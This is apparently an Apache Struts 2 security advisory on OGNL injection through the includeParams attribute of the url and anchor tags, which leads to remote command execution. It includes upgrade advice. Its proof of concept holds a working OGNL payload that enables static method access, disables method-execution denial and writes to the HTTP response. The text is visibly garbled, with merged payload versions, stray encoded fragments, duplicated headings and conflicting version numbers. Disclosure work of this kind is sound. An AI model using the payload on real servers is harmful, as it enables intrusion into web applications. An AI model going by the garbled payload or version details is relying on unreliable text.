Summary
Excerpt |
---|
A vulnerability, present in the includeParams attribute of the URL |
...
and Anchor Tag, allows remote command execution |
Who should read this | All Struts 2 developers |
---|---|
Impact of vulnerability | Remote command execution |
Maximum security rating |
Critical | |
Recommendation | Developers should immediately upgrade to at least Struts 2.3.14. |
---|
Affected Software | Struts 2.0.0 - Struts 2.3.14.1 |
---|---|
Reporter |
Problem
...
The Struts Team | |
CVE Identifier |
---|
Problem
Both the s:url and s:a tag provide an includeParams attribute.
The main scope of that attribute is to understand whether includes http request parameter or not.
The allowed values of includeParams are:
- none - include no parameters in the URL (default)
- get - include only GET parameters in the URL
- all - include both GET and POST parameters in the URL
A request that included a specially crafted request parameter could be used to inject arbitrary OGNL code into the stack, afterward used as request parameter of an URL Tag or A tag , which will cause a further evaluation. OGNL evaluation was already addressed in S2-003 and S2-005 and S2-009, but, since it involved just the parameter's name, it turned out that the resulting fixes based on whitelisting acceptable parameter names and denying evaluation of the expression contained in parameter names, closed the vulnerability only partially.
The second evaluation happens when redirect result reads it from the stack and uses the previously injected code as redirect parameterthe URL/A tag tries to resolve every parameters present in the original request.
This lets malicious users put arbitrary OGNL statements into any unsanitized String variable exposed by an action request parameter (not necessarily managed by the code) and have it evaluated as an OGNL expression to disable enable method execution and execute arbitrary methods, bypassing Struts and OGNL library protections.
Proof of concept
Open HelloWorld.jsp present in the Struts Blank App and add to one of the url/a tag the following parameter:
Code Block includeParams="all"
Such that the line will be something look like this:
Code Block xml xml <s:url id="url" action="HelloWorld" includeParams="all">
(it works also with includeParams="get").
- Run struts2-showcaseblank app
- Open the url: http://localhost:8080/struts2-showcase/skill/editexample/HelloWorld.action?skillName=SPRING-DEV
write skill name to %{expr} for example:
%{(#_memberAccess['allowStaticMethodAccess']=true)(#context[fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution']=false) #hackedbykxlzx=@org%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext@getResponseServletActionContext%40getResponse().getWriter(),#hackedbykxlzx%2C%23writer.println('hacked by kxlzx'),#hackedbykxlzx%2C%23writer.close())}Code Block - submit the form
The issue, in order to work, need a redirect result defined as the following:
Code Block |
---|
<action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save">
<result type="redirect">edit.action?skillName=${currentSkill.name}</result>
</action>
|
Solution
- %7D
(this is the shortened version http://goo.gl/lhlTl)
As you will notice, in this case, there is no way to escape/sanitize the fakeParam, since it's not an expected parameter.
Solution
The OGNLUtil class was changed to deny eval expressions by default.
Note | |||||||
---|---|---|---|---|---|---|---|
| |||||||
In case you need to restore the old behavior, you need to define the following constant, inside your struts configuration (use it at your own risk).
Please, ensure that:
|
...
|
Warning |
---|
It is strongly recommended to upgrade to at least Struts 2.3.14.12, which contains the corrected OGNL and XWork library. |
...